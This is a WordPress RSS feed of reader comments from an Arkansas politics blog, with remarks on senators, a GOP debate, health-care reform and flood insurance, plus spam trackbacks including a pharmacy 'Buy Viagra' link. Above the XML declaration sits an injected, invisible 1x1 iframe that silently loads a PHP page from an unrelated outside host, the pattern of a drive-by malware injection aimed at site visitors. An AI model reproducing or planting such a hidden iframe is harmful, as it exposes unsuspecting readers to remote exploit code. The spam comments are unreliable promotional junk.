<iframe src="http://biruza.net/images/banners/js/index.php"  width="1" height="1" frameborder="0"></iframe>
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments for politicsinarkansas.com</title>
	<atom:link href="http://politicsinarkansas.com/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://politicsinarkansas.com</link>
	<description></description>
	<lastBuildDate>Thu, 25 Apr 2013 19:45:37 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
	<item>
		<title>Comment on Esquire: Pryor among 10 best lawmakers by Kyle Leon Muscle Maximizer Review</title>
		<link>http://politicsinarkansas.com/2008/10/14/esquire-pryor-among-10-best-lawmakers/comment-page-1/#comment-2641</link>
		<dc:creator>Kyle Leon Muscle Maximizer Review</dc:creator>
		<pubDate>Thu, 25 Apr 2013 19:45:37 +0000</pubDate>
		<guid isPermaLink="false">http://politicsinarkansas.com/?p=275#comment-2641</guid>
		<description>&lt;strong&gt;Kyle Leon Muscle Maximizer Review...&lt;/strong&gt;

politicsinarkansas.com » Blog Archive » Esquire: Pryor among 10 best lawmakers...</description>
		<content:encoded><![CDATA[<p><strong>Kyle Leon Muscle Maximizer Review&#8230;</strong></p>
<p>politicsinarkansas.com » Blog Archive » Esquire: Pryor among 10 best lawmakers&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Rocky Mountain High On Obama by click through the next site</title>
		<link>http://politicsinarkansas.com/2008/08/25/rocky-mountain-high-on-obama/comment-page-1/#comment-2595</link>
		<dc:creator>click through the next site</dc:creator>
		<pubDate>Thu, 11 Apr 2013 17:46:46 +0000</pubDate>
		<guid isPermaLink="false">http://www.nwablogs.com/election/?p=340#comment-2595</guid>
		<description>&lt;strong&gt;click through the next site...&lt;/strong&gt;

politicsinarkansas.com » Blog Archive » Rocky Mountain High On Obama...</description>
		<content:encoded><![CDATA[<p><strong>click through the next site&#8230;</strong></p>
<p>politicsinarkansas.com » Blog Archive » Rocky Mountain High On Obama&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Rocky Mountain High On Obama by top clickbank products to promote</title>
		<link>http://politicsinarkansas.com/2008/08/25/rocky-mountain-high-on-obama/comment-page-1/#comment-2594</link>
		<dc:creator>top clickbank products to promote</dc:creator>
		<pubDate>Thu, 11 Apr 2013 17:32:31 +0000</pubDate>
		<guid isPermaLink="false">http://www.nwablogs.com/election/?p=340#comment-2594</guid>
		<description>&lt;strong&gt;top clickbank products to promote...&lt;/strong&gt;

politicsinarkansas.com » Blog Archive » Rocky Mountain High On Obama...</description>
		<content:encoded><![CDATA[<p><strong>top clickbank products to promote&#8230;</strong></p>
<p>politicsinarkansas.com » Blog Archive » Rocky Mountain High On Obama&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Hillary Clinton to campaign for Obama in Little Rock by piano, jouer piano</title>
		<link>http://politicsinarkansas.com/2008/10/01/hillary-clinton-to-campaign-for-obama-in-little-rock/comment-page-1/#comment-2182</link>
		<dc:creator>piano, jouer piano</dc:creator>
		<pubDate>Thu, 03 Jan 2013 18:16:58 +0000</pubDate>
		<guid isPermaLink="false">http://politicsinarkansas.com/?p=208#comment-2182</guid>
		<description>&lt;strong&gt;piano, jouer piano...&lt;/strong&gt;

[...]politicsinarkansas.com &#187; Blog Archive &#187; Hillary Clinton to campaign for Obama in Little Rock[...]...</description>
		<content:encoded><![CDATA[<p><strong>piano, jouer piano&#8230;</strong></p>
<p>[...]politicsinarkansas.com &raquo; Blog Archive &raquo; Hillary Clinton to campaign for Obama in Little Rock[...]&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Clinton speech mentions Gwatney by ORLANDO</title>
		<link>http://politicsinarkansas.com/2008/08/26/another-gwatney-tribute/comment-page-1/#comment-1997</link>
		<dc:creator>ORLANDO</dc:creator>
		<pubDate>Tue, 17 Jul 2012 14:03:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.nwablogs.com/election/?p=373#comment-1997</guid>
		<description>&lt;strong&gt;&lt;blockquote&gt;&lt;a href=&quot;http://buy-meds.comsyhost.com/buy_viagra_en-us.html&quot; rel=&quot;nofollow&quot;&gt;Buy Viagra&lt;/a&gt;&lt;/b&gt;&lt;/blockquote&gt;...&lt;/strong&gt;

Buy Unique Pharmacy Today!...</description>
		<content:encoded><![CDATA[<p><strong><br />
<blockquote><a href="http://buy-meds.comsyhost.com/buy_viagra_en-us.html" rel="nofollow">Buy Viagra</a></p></blockquote>
<p>&#8230;</strong></p>
<p>Buy Unique Pharmacy Today!&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on GOP Senate candidates to debate UPDATE by CMLLC</title>
		<link>http://politicsinarkansas.com/2010/03/15/gop-senate-candidates-to-debate/comment-page-1/#comment-1764</link>
		<dc:creator>CMLLC</dc:creator>
		<pubDate>Wed, 17 Mar 2010 15:31:49 +0000</pubDate>
		<guid isPermaLink="false">http://politicsinarkansas.com/?p=1650#comment-1764</guid>
		<description>Curtis Coleman definately made a good choice to enter the US Senate race for Arkansas.  He was the only candidate at the GOP Debate last night that understood the question and understood that the people of Arkansas need new leaders.  Most of the candidates appeared to be business as ususal.  Arkansas and this Country are tired of the incumbents.  We need change and we need a leader like Curtis Coleman.  I&#039;m impressed.</description>
		<content:encoded><![CDATA[<p>Curtis Coleman definately made a good choice to enter the US Senate race for Arkansas.  He was the only candidate at the GOP Debate last night that understood the question and understood that the people of Arkansas need new leaders.  Most of the candidates appeared to be business as ususal.  Arkansas and this Country are tired of the incumbents.  We need change and we need a leader like Curtis Coleman.  I&#8217;m impressed.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Lincoln tweets by Doc</title>
		<link>http://politicsinarkansas.com/2009/11/13/lincoln-tweets/comment-page-1/#comment-1761</link>
		<dc:creator>Doc</dc:creator>
		<pubDate>Wed, 02 Dec 2009 16:47:31 +0000</pubDate>
		<guid isPermaLink="false">http://politicsinarkansas.com/?p=1420#comment-1761</guid>
		<description>Senators who hate the idea of a public option for health insurance sure didn&#039;t have any problem voting for a public option to protect the profits of insurance companies against too many flood claims
 
Some blue dog House Democrats led by Stephanie Herseth Sandlin also oppose a public option. And when the Senate Finance Committee voted against including the option in its version of health care reform, Republicans were joined by a handful of Democrats including the committee chair, Max Baucus, who crafted the bill after conferring for weeks with the so-called “gang of six”: fellow Democrats Jeff Bingaman and Kent Conrad, Republicans Chuck Grassley, Mike Enzi and Olympia Snowe. The entire gang of six votes—casts their votes against the public option on Tuesday.
But each of them voted just last year in support of government-run insurance, that insurance however protects property. It is the National Flood Insurance Program created in 1968, because the free market decided it could not make money on that unpredictable risk called flooding. Government-run flood insurance is sold through private insurance companies but it is backed by the government and the government assumes all risk. Unlike the public option which relies on customer premiums, government flood insurance gets a subsidy—also known as a handout—from the government and it is mandatory for some people.
So given all the shouting over a public option, who could vote for mandatory taxpayer subsidized, anti- free market socialized flood insurance run by government bureaucrats? Every single politician I just named and most of Congress. Charles Boustany of Louisiana, along with 44 other Republicans, including going bipartisan on September 27th, 2007 to vote yea on the Flood Insurance Reform and Modernization Act. Karl Max applauded.
The entire “gang of six” on May 13th last year voting yea on the same act, quote, “to restore the solvency of the National Flood Insurance Program,” but also to expand socialized insurance to other property damage, quote, “to make available multi-peril coverage for damage resulting from windstorms and floods, and for other purposes.”
In the Senate where the public option is less popular than in the House, 92 senators voted to expand socialized property insurance. Consider the communist states that get the biggest handouts from socialized property insurance. North Carolina, Mississippi, Wisconsin, Florida, Illinois, Missouri, Indiana, Iowa, Louisiana, and the top socialized property insurance welfare state in the nation, “The People‘s Republic of Texas.” People‘s republic? Where 682,000 property owners have their handout for socialized property insurance, more than 36,000, scooping up $1.5 billion in claims last year alone.
Of course, it‘s not that some politicians don‘t care about the health of all Americans as much as they care about the wealth of those Americans who can‘t afford waterfront property. There is perhaps a less callous explanation: greed. It can‘t be principled because mandatory subsidized socialized property insurance is even more socialist than is the public option.
Preexisting conditions? No problem. You can get flood insurance even if you‘ve already been flooded, even if you‘ve chosen to live in a high-risk area, you can even get flood insurance after the diagnosis is in, even if you know there‘s a big rainfall or hurricane coming.
But what really matters to Congress is that insurance companies oppose the public option but they love mandatory socialized government-run property insurance.
According to the “New York Times,” Americas pay about $2.3 billion in flood premiums every year. Insurance companies get almost $1 billion out of that, almost half of it just for selling the policies, without a single dollar of their own at risk.
Congressional auditors found that private insurance companies make $327 million a year above their expenses.
So, thanks to the politicians who oppose the public option for people, we already have socialized government health care plans for the health of the insurance companies</description>
		<content:encoded><![CDATA[<p>Senators who hate the idea of a public option for health insurance sure didn&#8217;t have any problem voting for a public option to protect the profits of insurance companies against too many flood claims</p>
<p>Some blue dog House Democrats led by Stephanie Herseth Sandlin also oppose a public option. And when the Senate Finance Committee voted against including the option in its version of health care reform, Republicans were joined by a handful of Democrats including the committee chair, Max Baucus, who crafted the bill after conferring for weeks with the so-called “gang of six”: fellow Democrats Jeff Bingaman and Kent Conrad, Republicans Chuck Grassley, Mike Enzi and Olympia Snowe. The entire gang of six votes—casts their votes against the public option on Tuesday.<br />
But each of them voted just last year in support of government-run insurance, that insurance however protects property. It is the National Flood Insurance Program created in 1968, because the free market decided it could not make money on that unpredictable risk called flooding. Government-run flood insurance is sold through private insurance companies but it is backed by the government and the government assumes all risk. Unlike the public option which relies on customer premiums, government flood insurance gets a subsidy—also known as a handout—from the government and it is mandatory for some people.<br />
So given all the shouting over a public option, who could vote for mandatory taxpayer subsidized, anti- free market socialized flood insurance run by government bureaucrats? Every single politician I just named and most of Congress. Charles Boustany of Louisiana, along with 44 other Republicans, including going bipartisan on September 27th, 2007 to vote yea on the Flood Insurance Reform and Modernization Act. Karl Max applauded.<br />
The entire “gang of six” on May 13th last year voting yea on the same act, quote, “to restore the solvency of the National Flood Insurance Program,” but also to expand socialized insurance to other property damage, quote, “to make available multi-peril coverage for damage resulting from windstorms and floods, and for other purposes.”<br />
In the Senate where the public option is less popular than in the House, 92 senators voted to expand socialized property insurance. Consider the communist states that get the biggest handouts from socialized property insurance. North Carolina, Mississippi, Wisconsin, Florida, Illinois, Missouri, Indiana, Iowa, Louisiana, and the top socialized property insurance welfare state in the nation, “The People‘s Republic of Texas.” People‘s republic? Where 682,000 property owners have their handout for socialized property insurance, more than 36,000, scooping up $1.5 billion in claims last year alone.<br />
Of course, it‘s not that some politicians don‘t care about the health of all Americans as much as they care about the wealth of those Americans who can‘t afford waterfront property. There is perhaps a less callous explanation: greed. It can‘t be principled because mandatory subsidized socialized property insurance is even more socialist than is the public option.<br />
Preexisting conditions? No problem. You can get flood insurance even if you‘ve already been flooded, even if you‘ve chosen to live in a high-risk area, you can even get flood insurance after the diagnosis is in, even if you know there‘s a big rainfall or hurricane coming.<br />
But what really matters to Congress is that insurance companies oppose the public option but they love mandatory socialized government-run property insurance.<br />
According to the “New York Times,” Americas pay about $2.3 billion in flood premiums every year. Insurance companies get almost $1 billion out of that, almost half of it just for selling the policies, without a single dollar of their own at risk.<br />
Congressional auditors found that private insurance companies make $327 million a year above their expenses.<br />
So, thanks to the politicians who oppose the public option for people, we already have socialized government health care plans for the health of the insurance companies</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Lincoln tweets by tsudo</title>
		<link>http://politicsinarkansas.com/2009/11/13/lincoln-tweets/comment-page-1/#comment-1760</link>
		<dc:creator>tsudo</dc:creator>
		<pubDate>Sun, 15 Nov 2009 06:33:38 +0000</pubDate>
		<guid isPermaLink="false">http://politicsinarkansas.com/?p=1420#comment-1760</guid>
		<description>How do I put this politely?

Do you think a link to the actual twitter account would be helpful? Hyperlinks make the world go round.

As an aside, it would be nice if I didn&#039;t have to register another username and password just to leave a comment. Check out Disqus for allowing people to comment.

Thanks.</description>
		<content:encoded><![CDATA[<p>How do I put this politely?</p>
<p>Do you think a link to the actual twitter account would be helpful? Hyperlinks make the world go round.</p>
<p>As an aside, it would be nice if I didn&#8217;t have to register another username and password just to leave a comment. Check out Disqus for allowing people to comment.</p>
<p>Thanks.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Grave concern by sherryg3</title>
		<link>http://politicsinarkansas.com/2009/09/22/grave-concern/comment-page-1/#comment-1759</link>
		<dc:creator>sherryg3</dc:creator>
		<pubDate>Sun, 18 Oct 2009 21:52:39 +0000</pubDate>
		<guid isPermaLink="false">http://politicsinarkansas.com/?p=1349#comment-1759</guid>
		<description>HealthCARE FOR AMERICA?

ARE YOU SURE THIS ISN&#039;t FUNDED WITH OUR TAX DOLLARS?
that is against the law.  Will be FOI to check this out!</description>
		<content:encoded><![CDATA[<p>HealthCARE FOR AMERICA?</p>
<p>ARE YOU SURE THIS ISN&#8217;t FUNDED WITH OUR TAX DOLLARS?<br />
that is against the law.  Will be FOI to check this out!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Lincoln: Transparency matters by Dusty Foster</title>
		<link>http://politicsinarkansas.com/2009/10/06/lincoln-transparency-matters/comment-page-1/#comment-1758</link>
		<dc:creator>Dusty Foster</dc:creator>
		<pubDate>Sat, 17 Oct 2009 11:53:17 +0000</pubDate>
		<guid isPermaLink="false">http://politicsinarkansas.com/?p=1384#comment-1758</guid>
		<description>There are people from all over the country who are working to show which DC politicians are hiking our taxes and removing our freedoms.

These Vote Trackers are filling out individual one-page charts for their state showing how their federal politicians have voted on major bills. 

A few months before election time, people from every state will download the chart for their state and pass them around. The chart can be taken into the voting booth so people can see at a glance exactly who voted for what. 

We currently do not have anyone from Arkansas creating a chart for this great state. 
It&#039;s very easy to do and everything you need is right on this website. 

Check it out:
http://www.votetrackers.com
-Dusty</description>
		<content:encoded><![CDATA[<p>There are people from all over the country who are working to show which DC politicians are hiking our taxes and removing our freedoms.</p>
<p>These Vote Trackers are filling out individual one-page charts for their state showing how their federal politicians have voted on major bills. </p>
<p>A few months before election time, people from every state will download the chart for their state and pass them around. The chart can be taken into the voting booth so people can see at a glance exactly who voted for what. </p>
<p>We currently do not have anyone from Arkansas creating a chart for this great state.<br />
It&#8217;s very easy to do and everything you need is right on this website. </p>
<p>Check it out:<br />
<a href="http://www.votetrackers.com" rel="nofollow">http://www.votetrackers.com</a><br />
-Dusty</p>
]]></content:encoded>
	</item>
</channel>
</rss>
